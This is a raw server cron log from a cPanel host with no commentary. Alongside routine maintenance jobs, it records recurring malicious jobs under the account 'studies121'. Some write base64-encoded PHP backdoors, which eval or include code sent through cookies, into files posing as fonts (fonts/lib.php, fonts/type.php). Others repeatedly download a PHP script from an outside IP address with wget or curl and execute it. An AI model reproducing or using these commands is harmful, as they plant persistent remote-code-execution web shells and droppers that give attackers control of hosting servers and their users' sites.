Sep  9 12:02:01 ip-184-168-122-23 CROND[11418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:02:01 ip-184-168-122-23 CROND[11419]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:02:01 ip-184-168-122-23 CROND[11422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:03:01 ip-184-168-122-23 CROND[11530]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:03:01 ip-184-168-122-23 CROND[11532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:03:01 ip-184-168-122-23 CROND[11533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:03:01 ip-184-168-122-23 CROND[11535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:04:01 ip-184-168-122-23 CROND[11651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:04:01 ip-184-168-122-23 CROND[11653]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 12:04:01 ip-184-168-122-23 CROND[11654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:04:01 ip-184-168-122-23 CROND[11655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:04:01 ip-184-168-122-23 CROND[11656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:05:01 ip-184-168-122-23 CROND[11772]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:05:01 ip-184-168-122-23 CROND[11774]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 12:05:01 ip-184-168-122-23 CROND[11775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:05:01 ip-184-168-122-23 CROND[11778]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 12:05:01 ip-184-168-122-23 CROND[11777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:05:01 ip-184-168-122-23 CROND[11776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:05:01 ip-184-168-122-23 CROND[11779]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 12:06:01 ip-184-168-122-23 CROND[11884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:06:01 ip-184-168-122-23 CROND[11886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:06:01 ip-184-168-122-23 CROND[11887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:06:01 ip-184-168-122-23 CROND[11888]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 12:06:01 ip-184-168-122-23 CROND[11889]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:07:01 ip-184-168-122-23 CROND[12171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:07:01 ip-184-168-122-23 CROND[12173]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:07:01 ip-184-168-122-23 CROND[12174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:07:01 ip-184-168-122-23 CROND[12175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:08:01 ip-184-168-122-23 CROND[12554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:08:01 ip-184-168-122-23 CROND[12556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:08:01 ip-184-168-122-23 CROND[12558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:08:01 ip-184-168-122-23 CROND[12559]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 12:08:01 ip-184-168-122-23 CROND[12562]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:09:01 ip-184-168-122-23 CROND[12923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:09:01 ip-184-168-122-23 CROND[12924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:09:01 ip-184-168-122-23 CROND[12926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:09:01 ip-184-168-122-23 CROND[12928]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 12:09:01 ip-184-168-122-23 CROND[12930]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:10:01 ip-184-168-122-23 CROND[13121]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 12:10:01 ip-184-168-122-23 CROND[13123]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 12:10:01 ip-184-168-122-23 CROND[13122]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 12:10:01 ip-184-168-122-23 CROND[13129]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 12:10:01 ip-184-168-122-23 CROND[13134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:10:01 ip-184-168-122-23 CROND[13132]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:10:01 ip-184-168-122-23 CROND[13133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:10:01 ip-184-168-122-23 CROND[13135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:11:01 ip-184-168-122-23 CROND[13343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:11:01 ip-184-168-122-23 CROND[13344]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:11:01 ip-184-168-122-23 CROND[13347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:11:01 ip-184-168-122-23 CROND[13348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:12:01 ip-184-168-122-23 CROND[13605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:12:01 ip-184-168-122-23 CROND[13606]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 12:12:01 ip-184-168-122-23 CROND[13609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:12:01 ip-184-168-122-23 CROND[13611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:12:01 ip-184-168-122-23 CROND[13610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:13:01 ip-184-168-122-23 CROND[13883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:13:01 ip-184-168-122-23 CROND[13882]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:13:01 ip-184-168-122-23 CROND[13881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:13:01 ip-184-168-122-23 CROND[13884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:14:02 ip-184-168-122-23 CROND[14067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:14:02 ip-184-168-122-23 CROND[14068]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 12:14:02 ip-184-168-122-23 CROND[14069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:14:02 ip-184-168-122-23 CROND[14071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
